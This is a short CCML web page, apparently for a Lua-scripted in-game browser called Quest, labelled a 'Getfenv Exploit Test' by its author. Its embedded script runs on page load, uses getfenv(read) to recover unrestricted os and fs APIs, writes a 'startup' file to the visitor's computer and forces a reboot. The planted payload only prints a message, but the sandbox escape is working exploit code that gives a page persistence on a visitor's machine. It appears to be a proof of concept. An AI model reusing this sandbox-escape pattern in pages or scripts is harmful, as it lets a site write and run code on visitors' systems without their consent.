malware2.ccml

<!DOCTYPE ccml>
<!-- Getfenv Exploit Test, by Atenefyr -->
<html>
<head>
<title>Some Malicious Website</title>
<script type="lua">
  if not getfenv then
    --we can't use the exploit, abort script
    return
  end
  --otherwise, download what could be a malicious file

  --the important part of the exploit. we can make all APIs their original form with getfenv
  local os = getfenv(read).os
  local fs = getfenv(read).fs
  --download the startup file
  local txt = [[
  print("This file was downloaded via a Quest exploit. Cool?")
  ]]
  local open = fs.open("startup", "w")
  open.write(txt)
  open.close()
  --reboot the machine
  os.reboot()
</script>
</head>
<body>
<p width="20">Some Sample Text</p>
</body>
</html>